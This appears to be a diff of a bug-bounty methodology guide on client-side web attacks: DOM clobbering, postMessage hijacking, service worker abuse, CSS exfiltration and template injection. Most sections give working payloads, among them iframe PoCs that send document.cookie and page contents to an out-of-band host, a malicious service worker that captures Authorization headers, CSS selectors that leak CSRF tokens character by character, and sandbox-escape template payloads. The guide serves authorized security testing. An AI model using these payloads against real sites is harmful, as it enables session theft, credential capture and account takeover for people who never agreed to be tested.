- sources: portswigger_research, hackerone_public, github_security_advisories
5
- report_count: 14
6
- ---
7
-
8
- # HUNT-DOM — DOM Clobbering / PostMessage / Service Worker / CSS Exfil
9
-
10
- ## Crown Jewel Targets
11
-
12
- DOM-based attacks execute in the victim's browser — the server often never sees the payload, so WAFs and server-side input filters do not apply. PostMessage missing-origin-check = cross-origin token theft with no XSS needed.
13
-
14
- **Highest-value chains:**
15
- - **DOM Clobbering → DOM-XSS / auth bypass** — HTML *markup* injection (no `<script>`) overwrites a JS global like `window.config` or shadows `document.getElementById`, and the app later treats that value as a URL/code → sink fires under a markup-only injection where script is filtered.
16
- - **PostMessage no origin check → session theft / DOM-XSS** — a `message` handler that trusts `event.data` without validating `event.origin` lets an attacker iframe/opener drive privileged actions or feed a sink.
17
- - **Service Worker abuse** — register a **same-origin** SW script (reachable because of an upload / open-redirect / path the target serves) via stored XSS → intercept all in-scope `fetch` → persistent credential capture.
18
- - **CSS Exfil** — attribute-value selectors (`input[value^="a"]`) leak a CSRF token / API key / nonce char-by-char to an OOB host with zero JS.
19
-
20
- ### Grounding — public research this is distilled from
21
- - **DOM Clobbering / DOM-Invader** — Gareth Heyes & the PortSwigger Web Security Academy "DOM clobbering" topic; DOM-Invader ships a dedicated clobbering scanner. Sink taxonomy maps to the academy's DOM-based vulnerability labs.
22
- - **DOMPurify clobbering & mXSS bypasses** — Michał Bentkowski (Securitum) blog series on bypassing HTML sanitizers via clobbering and mutation XSS.
23
- - **jQuery `htmlPrefilter` self-closing-tag XSS** — **CVE-2020-11022** and **CVE-2020-11023** (jQuery < 3.5.0). Passing attacker HTML to `.html()` / `.append()` mutates into executing markup. Grep bundled jQuery version; this is one of the most common real-world DOM-XSS roots.
24
- - **CSS exfiltration** — d0nut "CSS Injection Attacks" / "Stealing Data With CSS" research (sequential `@import` recursion to drop the per-char-position constraint).
25
- > Cite only what you reproduce. Do not paste these as "proof" in a report — your PoC against the live target is the evidence. Named research here is for *technique provenance*, not severity inflation.
26
-
27
- ---
28
-
29
- ## Attack Surface Signals
30
-
31
- ```
32
- # Injection points that allow MARKUP but may strip <script>:
33
- user bio / display name / comment / markdown preview / SVG upload / CMS rich-text
34
-
35
- # postMessage endpoints (iframes, SSO widgets, payment frames, chat widgets):
36
- */sso/* */embed/* */widget/* */oauth/* /sdk.js pay/checkout iframes
37
-
38
- # Service worker presence:
39
- /sw.js /service-worker.js /firebase-messaging-sw.js /ngsw-worker.js (Angular)
40
-
41
- # CSS injection points:
42
- ?theme= custom-css profile field email-template editor style= passthrough
43
- ```
44
-
45
- ---
46
-
47
- ## Phase 1 — DOM Clobbering
48
-
49
- ```bash
50
- # Signal: app reads element IDs/names as if they were JS objects, OR feeds a
51
- # clobberable global into a sink (location, innerHTML, eval, script.src).
52
- # Inject MARKUP (no script) at a sink that lets named/id'd elements through.
53
-
54
- # Single-level clobber of window.config:
55
- # <a id="config" href="https://evil.com">
56
- # Clobber a NON-built-in global the app reads (built-in methods like getElementById can't be shadowed this way):
57
- # <a id="config"></a><a id="config" name="url"> # window.config.url resolves to an attacker-controlled element/string
58
- # Clobber a string-coerced URL value (anchor toString() == href):
59
- # <a id="x"></a><a id="x" name="y" href="https://evil.com"> # x.y -> href
60
- # Nested window.a.b.c via form/inputs:
61
- # <form id="a"><input id="b" name="c" value="clobbered"></form>
62
- # baseURI / relative-URL hijack:
63
- # <base href="https://evil.com/"> # bends every relative src/href
64
- ```
65
-
66
- ```javascript
67
- // Browser console: find globals that are clobberable AND reach a sink.
68
- // A var only matters if the app later concatenates it into a URL/HTML/eval.
69
- const susp = ['config','settings','options','appConfig','init','data','user',
70
- 'token','csrf','nonce','baseUrl','apiUrl','cdn','redirect','next','debug'];
71
- susp.forEach(k => {
72
- const v = window[k];
73
- // HTMLCollection / element => already clobbered or clobberable namespace
74
- if (v && (v instanceof Element || v instanceof HTMLCollection))
75
- console.log('[CLOBBERED/NAMESPACE]', k, v);
76
- else if (v !== undefined) console.log('[GLOBAL]', k, '=', v);
77
- });
78
- ```
79
-
80
- ```bash
81
- # Source review: find globals fed into sinks (this is what makes clobbering exploitable)
82
- curl -s "https://$TARGET/" | grep -nE \
83
- "document\.(getElementById|baseURI)|window\.[A-Za-z_]+\.(url|src|href|html|cmd)|\
84
- location\s*=\s*[A-Za-z_]|\.innerHTML\s*=|eval\(|new Function\(|\.src\s*=\s*[A-Za-z_]"
85
- # DOM-Invader (Burp) → enable "DOM clobbering" — it auto-finds clobberable sources→sinks.
86
- ```
87
-
88
- **jQuery angle:** if the bundle ships jQuery < 3.5.0, attacker HTML passed to `.html()`/`.append()` self-mutates to execute (**CVE-2020-11022 / CVE-2020-11023**). Confirm version then test `<style><style /><img src=x onerror=alert(document.domain)>`.
89
-
90
- ---
91
-
92
- ## Phase 2 — PostMessage Hijacking
93
-
94
- Two bug classes: (a) **listener** trusts cross-origin data → drive a sink/privileged action; (b) **sender** broadcasts secrets with target origin `'*'` → any framing page reads them.
95
-
96
- ```bash
97
- # Find handlers and flag the ones with NO origin check
98
- grep -rnE "addEventListener\(\s*['\"]message['\"]|onmessage\s*=" recon/$TARGET/ --include="*.js" 2>/dev/null \
99
- | grep -vE "\.origin\b"
100
- # Then for each, read +/- 20 lines: where does event.data go? (innerHTML/eval/location/token store)
101
- # Senders that leak: grep for postMessage(<secret>, '*')
102
- grep -rnE "postMessage\([^,]+,\s*['\"]\*['\"]\)" recon/$TARGET/ --include="*.js" 2>/dev/null
103
- ```
104
-
105
- ```html
106
- <!-- PoC A: drive a no-origin-check LISTENER from an attacker page -->
107
- <!-- Host on attacker.com; frames target and pushes a privileged message -->
108
- <iframe id="f" src="https://TARGET/page-with-listener"></iframe>
109
- <script>
110
- document.getElementById('f').onload = () => {
111
- const w = document.getElementById('f').contentWindow;
112
- // Shape the payload to whatever the handler routes into a sink:
113
- w.postMessage({type:'navigate', url:'javascript:fetch("https://OOB/x?c="+document.cookie)'}, '*');
114
- w.postMessage('<img src=x onerror=fetch("https://OOB/dom?h="+btoa(document.body.innerHTML))>', '*');
115
- };
116
- </script>
117
- ```
118
-
119
- ```html
120
- <!-- PoC B: capture secrets from a SENDER that uses targetOrigin '*' -->
121
- <iframe id="f" src="https://TARGET/sso-or-widget" style="display:none"></iframe>
122
- <pre id="out"></pre>
123
- <script>
124
- addEventListener('message', e => {
125
- // Only count it if e.origin is the TARGET and data carries a secret
126
- out.textContent += `origin=${e.origin}\ndata=${JSON.stringify(e.data)}\n---\n`;
127
- if (/token|session|jwt|code=/i.test(JSON.stringify(e.data)))
128
- fetch('https://OOB/pm?d='+encodeURIComponent(JSON.stringify(e.data))); // OOB proof
129
- });
130
- </script>
131
- ```
132
-
133
- > False-positive guard: a handler with a *partial* check (`origin.indexOf('target.com')>-1`, `endsWith('target.com')`, regex `target\.com`) is still vulnerable — bypass with `target.com.evil.com` or `eviltarget.com`. Confirm by serving the PoC from such a look-alike host and showing the message still lands.
134
-
135
- ---
136
-
137
- ### PostMessage handler race — win the message before origin is set
138
- Beyond static origin/sender checks: some handlers trust the FIRST message, or read `event.origin` while it is still `""`/`null` during frame load. Race it — flood `postMessage` in a tight loop during iframe/popup load, or fire from `about:blank` before navigation, so your message lands before the legit sender or before strict origin setup runs. Test any handler that assumes "first message = trusted". Disclosed: reports/381356.
139
-
140
- ## Phase 3 — Service Worker Abuse
141
-
142
- **Hard rule (corrects a common mistake):** a SW script URL **must be same-origin** as the page calling `register()`. A cross-origin script URL (`https://evil.com/sw.js`) throws `SecurityError` — there is **no header that enables cross-origin SW *script* registration**. `Service-Worker-Allowed` only widens the **scope** a same-origin script may control, not where the script may live.
143
-
144
- So the realistic path is: get a SW script **onto the target origin** (file upload that serves JS, open-redirect/path the origin reflects as a script, a JSON/JSONP endpoint with `text/javascript`, or an existing route under your control), then register it from same-origin XSS.
145
-
146
- ```bash
147
- # Enumerate existing SW + its scope
148
- curl -s "https://$TARGET/" | grep -iE "serviceWorker\.register|navigator\.serviceWorker"
149
- for p in sw.js service-worker.js firebase-messaging-sw.js ngsw-worker.js; do
150
- curl -s -o /dev/null -w "%{http_code} $p\n" "https://$TARGET/$p"; done
151
- curl -s "https://$TARGET/sw.js" | grep -iE "scope|addEventListener\('fetch'|caches"
152
- # Look for an upload/route that returns Content-Type: text/javascript on YOUR content:
153
- # curl -s -D- https://$TARGET/uploads/<id> | grep -i content-type
154
- ```
155
-
156
- ```javascript
157
- // Runs in same-origin XSS. SCRIPT MUST BE SAME-ORIGIN (e.g. /uploads/evil-sw.js
158
- // served by the target). scope must be <= the directory the script is served from
159
- // unless the response carries Service-Worker-Allowed.
160
- navigator.serviceWorker.register('/uploads/evil-sw.js', {scope: '/'})
161
- .then(r => fetch('https://OOB/sw-registered?scope='+r.scope)) // OOB proof of registration
162
- .catch(e => console.log('SW reg failed', e.name)); // SecurityError => wrong origin/scope
163
-
164
- // evil-sw.js (served from the TARGET origin):
165
- self.addEventListener('fetch', e => {
166
- e.respondWith(fetch(e.request.clone()).then(async resp => {
167
- // Exfil URL + any auth header the page attaches, to OOB
168
- fetch('https://OOB/sw-intercept', {method:'POST',
169
- body: JSON.stringify({url: e.request.url,
170
- auth: e.request.headers.get('authorization')})});
171
- return resp;
172
- }));
173
- });
174
- ```
175
-
176
- > Persistence note: a SW survives tab close and re-runs on next visit within scope — that is what makes it Critical. Confirm persistence by closing all tabs, reopening the origin, and showing a fresh OOB hit with no XSS re-trigger.
177
-
178
- ---
179
-
180
- ## Phase 4 — CSS Injection / Exfiltration
181
-
182
- ```bash
183
- # Prereq: attacker controls CSS (custom-theme field, style= passthrough, email
184
- # template, markdown CSS). Targets: hidden CSRF input, API key in meta, nonce attr.
185
- # Step 1 confirm injection: inject "color:red" on a known element, observe render.
186
- # Step 2 leak attribute values char-by-char via attribute selectors + url() to OOB.
187
- ```
188
-
189
- > **Scope caveat (corrects an overstatement):** CSS exfil bypasses CSP that blocks *script execution* — it does **not** bypass a CSP whose `style-src` / `img-src` / `default-src` / `connect-src` restricts external origins, or `form-action`. If `img-src 'self'` is set, `url(https://OOB/...)` is **blocked**. Always read the live `Content-Security-Policy` header first; if external resource origins are locked down, CSS exfil is dead and you should say so rather than claim it.
190
-
191
- ```css
192
- /* One request fires only for the matching first char. */
193
- input[name="csrf"][value^="a"] { background: url(https://OOB.example/c?p=0&c=a); }
194
- input[name="csrf"][value^="b"] { background: url(https://OOB.example/c?p=0&c=b); }
195
- /* ...all chars... then chain @import to leak position 1 conditioned on position 0, etc. */
196
- meta[name="csrf-token"][content^="a"] { background: url(https://OOB.example/c?m=a); }
197
- ```
198
-
199
- ```python
200
- # Generate a single-position CSS exfil set (loop positions with sequential @import in practice)
201
- import string
202
- chars = string.ascii_letters + string.digits + '-_'
203
- attr, oob, pos = 'name="csrf"', 'https://OOB.example/c', 0
204
- print("\n".join(
205
- f'input[{attr}][value^="{c}"]{{background:url({oob}?p={pos}&c={c})}}' for c in chars))
206
- # Real exfil needs recursion: serve a stylesheet whose @import pulls the next
207
- # position's rules only after the current prefix matched (d0nut technique) —
208
- # this removes the "static input, one char" limitation.
209
- ```
210
-
211
- > Validation: the proof is **OOB hits**, not a rendered color. Stand up a Collaborator / request-bin and show one hit per correct character forming the real token, then demonstrate using that token in a state-changing CSRF request. No OOB callback = no finding (a 0-byte image or CSP-blocked request looks identical to success in DevTools).
212
-
213
- ---
214
-
215
- ## Phase 5 — dangerouslySetInnerHTML / framework sinks
216
-
217
- ```bash
218
- grep -rnE "dangerouslySetInnerHTML|v-html=|\[innerHTML\]=|\.html\(" recon/$TARGET/ --include="*.js" 2>/dev/null
219
- # In minified Next/React bundles:
220
- curl -s "https://$TARGET/_next/static/chunks/pages/index.js" | grep -oP 'dangerouslySetInnerHTML.{0,120}'
221
- # Trace whether user data reaches it WITHOUT a sanitizer (DOMPurify/sanitize-html).
222
- # If DOMPurify IS present, check for clobbering/mXSS bypass (Bentkowski research) and version.
223
- ```
224
-
225
- ---
226
-
227
- ## Phase 6 — Client-Side Template Injection
228
-
229
- ```bash
230
- # Detect framework, then test the {{}} sink in a sandbox-bypass form.
231
- grep -rnE "angular|vue|handlebars|mustache|nunjucks|alpinejs|\bv-|ng-app" recon/$TARGET/ --include="*.js" 2>/dev/null | head
232
- # Probe (server may render, so confirm it's CLIENT-side by viewing rendered DOM, not curl):
233
- # {{7*7}} -> 49 in the live DOM (not in raw HTML) => CSTI
234
- # AngularJS sandbox-escape style payloads (version-dependent; older 1.x):
235
- # {{constructor.constructor('alert(document.domain)')()}}
236
- # Vue: {{_c.constructor('alert(1)')()}} (varies by Vue 2/3 build)
237
- ```
238
-
239
- ---
240
-
241
- ## Chain Table
242
-
243
- | DOM finding | Chain to | Impact |
244
- |-------------|----------|--------|
245
- | DOM Clobbering → clobbered URL into `script.src`/`location` | DOM-XSS under markup-only injection | High / auth bypass |
246
- | PostMessage no/weak origin check (listener) | data → innerHTML/eval/location sink | DOM-XSS → ATO |
247
- | PostMessage `targetOrigin:'*'` sender | any framing page reads token/auth code | Cross-origin token theft |
248
- | CSS exfil (OOB-confirmed) | leak CSRF token → fire CSRF | CSRF chain (Medium+) |
249
- | Same-origin Service Worker via XSS | intercept all in-scope fetch + auth headers | Persistent ATO (Critical) |
250
- | dangerouslySetInnerHTML, no sanitizer | stored DOM-XSS | XSS → ATO |
251
-
252
- ---
253
-
254
- ## Tools
255
-
256
- ```bash
257
- # DOM Invader (built into Burp browser) — sources→sinks, postMessage logger, clobbering scanner
258
- # postMessage-tracker — Chrome extension logging cross-window messages
259
- # Burp Collaborator / interactsh / request-bin — MANDATORY OOB sink for CSS-exfil & SW PoCs
260
- # Verify any tool URL before citing it in a report; do not paste unverified repo links.
261
- ```
262
-
263
- ---
264
-
265
- ## Validation (false-positive discipline)
266
-
267
- Match the repo standard: a technique that *fires in DevTools* is not a finding until impact is **OOB-confirmed** and **state-proven**.
268
-
269
- - **DOM Clobbering** — show the clobbered value actually reaching a sink (XSS payload executes, or app navigates/loads from attacker URL). A clobberable global that never reaches a sink = no impact, do not report.
270
- - **PostMessage** — distinguish a *missing* check from a *weak* one; bypass weak checks from a look-alike origin and capture via OOB. A noisy `message` log alone is not proof — show the privileged action or token exfil.
271
- - **CSS exfil** — **OOB callback per correct character is the only proof.** Read CSP first: `img-src`/`style-src`/`connect-src`/`default-src` restricting external origins kills it. A blocked `url()` is indistinguishable from success in the Network tab — confirm on the Collaborator side.
272
- - **Service Worker** — registration must be **same-origin script**; a `SecurityError` means you cited the wrong origin. Prove *persistence* (close tabs → reopen → fresh OOB hit, no XSS re-fire).
273
- - **General** — unique per-test markers (`btoa(domain)+nonce`) so an OOB hit is attributable to YOUR payload and not background traffic; body-diff the rendered DOM, not the raw HTML, since these are client-side.
274
-
275
- **Severity:**
276
- - Same-origin Service Worker → persistent credential intercept: **Critical**
277
- - PostMessage data → DOM-XSS / token theft → ATO: **High–Critical**
278
- - DOM Clobbering → DOM-XSS reaching auth/session: **High**
279
- - CSS exfil of CSRF token (OOB-proven) → CSRF: **Medium** (raise if the chained CSRF is account-critical)